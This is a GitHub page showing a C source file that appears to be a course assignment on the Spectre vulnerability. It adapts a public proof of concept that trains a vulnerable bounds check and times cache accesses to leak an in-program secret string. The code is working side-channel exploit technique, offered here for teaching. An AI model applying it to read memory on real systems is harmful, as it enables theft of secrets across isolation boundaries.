-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathPapaGhost.c
184 lines (155 loc) · 5.07 KB
/
PapaGhost.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#ifdef _MSC_VER
#include <intrin.h> /* for rdtscp and clflush */
#pragma optimize("gt",on)
#else
#include <x86intrin.h> /* for rdtscp and clflush */
#endif
/* code from: https://github.com/chaitanyarahalkar/Spectre-PoC */
unsigned int array1_size = 16;
uint8_t unused1[64];
uint8_t array1[160] = {
1,
2,
3,
4,
5,
6,
7,
8,
9,
10,
11,
12,
13,
14,
15,
16
};
uint8_t unused2[64];
uint8_t array2[256 * 512];
char * secret = "The Magic Words are Sqeamish Ossifraggee";
uint8_t temp = 0; /* Used so compiler won’t optimize out victim_function() */
void victim_function(size_t x, size_t y) {
if (((x+y < array1_size))) {
if(array1[x] == y)
temp &= array2[0];
}
}
#define CACHE_HIT_THRESHOLD (80) /* assume cache hit if time <= threshold */
/* THIS NEEDS TO BE CHANGED*/
#define MAX_LINES 480
#define MAX_LINE_LENGTH 100
void read_numbers_from_file(const char *filename, size_t x[], int num_lines) {
FILE *file = fopen(filename, "r");
if (file == NULL) {
printf("Failed to open file: %s\n", filename);
exit(1);
}
char line[MAX_LINE_LENGTH];
size_t num;
int line_counter = 0;
while (fgets(line, MAX_LINE_LENGTH, file) != NULL) {
line_counter++;
if (sscanf(line, "%lu", &num) == 1) {
x[line_counter - 1] = num;
} else {
printf("Failed to parse line number %d: %s", line_counter, line);
}
}
fclose(file);
}
/* Report best guess in value[0] and runner-up in value[1] */
/* YOU NEED TO CHANGE THIS*/
void readMemoryByte(size_t inputs[12], uint8_t value[2], int score[2]) {
static int results[256];
int tries, i, j, k, mix_i, junk = 0;
size_t training_x, malicious_x, x;
register uint64_t time1, time2;
volatile uint8_t * addr;
int cpui[4];
malicious_x = inputs[0];
for (i = 0; i < 256; i++)
results[i] = 0;
for (tries = 999; tries > 0; tries--) {
/* Flush array2[256*(0..255)] from cache */
for (i = 0; i < 256; i++)
_mm_clflush( & array2[i * 512]); /* intrinsic for clflush instruction */
/* 30 loops: 5 training runs (x=training_x) per attack run (x=malicious_x) */
training_x = tries % array1_size;
for (j = 0; j < 12; j+=2) {
x = inputs[j];
_mm_clflush( & array1_size);
for (volatile int z = 0; z < 500; z++) {} /* Delay (can also mfence) */
victim_function(inputs[j], inputs[j+1]);
}
/* Time reads. Order is lightly mixed up to prevent stride prediction */
for (i = 0; i < 256; i++) {
mix_i = ((i * 167) + 13) & 255;
addr = & array2[mix_i * 512];
// use mfence to serialize rdtsc instead of using rdtscp which doesn't work on cpus
_mm_mfence();
// time1 = __rdtscp( & junk); /* READ TIMER */
time1 = __rdtsc(); /* READ TIMER */
junk = * addr; /* MEMORY ACCESS TO TIME */
// time2 = __rdtscp( & junk) - time1; /* READ TIMER & COMPUTE ELAPSED TIME */
_mm_mfence();
time2 = __rdtsc() - time1; /* READ TIMER & COMPUTE ELAPSED TIME */
if (time2 <= CACHE_HIT_THRESHOLD && mix_i != array1[tries % array1_size])
results[mix_i]++; /* cache hit - add +1 to score for this value */
}
/* Locate highest & second-highest results results tallies in j/k */
j = k = -1;
for (i = 0; i < 256; i++) {
if (j < 0 || results[i] >= results[j]) {
k = j;
j = i;
} else if (k < 0 || results[i] >= results[k]) {
k = i;
}
}
if (results[j] >= (2 * results[k] + 5) || (results[j] == 2 && results[k] == 0))
break; /* Clear success if best is > 2*runner-up + 5 or 2/0) */
}
results[0] ^= junk; /* use junk so code above won’t get optimized out*/
value[0] = (uint8_t) j;
score[0] = results[j];
value[1] = (uint8_t) k;
score[1] = results[k];
}
int main(int argc,
const char * * argv) {
size_t malicious_x = (size_t)(secret - (char * ) array1); /* default for malicious_x */
int i, score[2], len;
uint8_t value[2];
size_t x[MAX_LINES];
size_t array_to_be_passed[12];
size_t input_var;
for(size_t idx = 0; idx < MAX_LINES; idx++){
x[idx] = 0;
}
printf("Welcome to PappaGhost\n");
printf("In these series of assignments, you will be exploring the Spectre Vulnerability\n");
printf("Please give the name of a file containing 480 lines. Lines will be passed, two at a time, to the vulnerable function. \n");
printf("But first, here is your christmas present: %lu, %lu\n", (size_t)(secret), (size_t)(char * ) array1);
char filename[100];
scanf("%s", filename);
read_numbers_from_file(filename, x, MAX_LINES);
for (i = 0; i < sizeof(array2); i++)
array2[i] = 1; /* write to array2 so in RAM not copy-on-write zero pages */
i = 0;
len = 40;
printf("Reading %d bytes:\n", len);
while(--len){
for(int arr_idx = 0; arr_idx < 12; arr_idx++){
array_to_be_passed[arr_idx] = x[i + arr_idx];
}
readMemoryByte(array_to_be_passed, value, score);
printf("%c", (value[0] > 31 && value[0] < 127 ? (char)value[0] : '?'));
i += 12;
}
printf("\n");
return (0);
}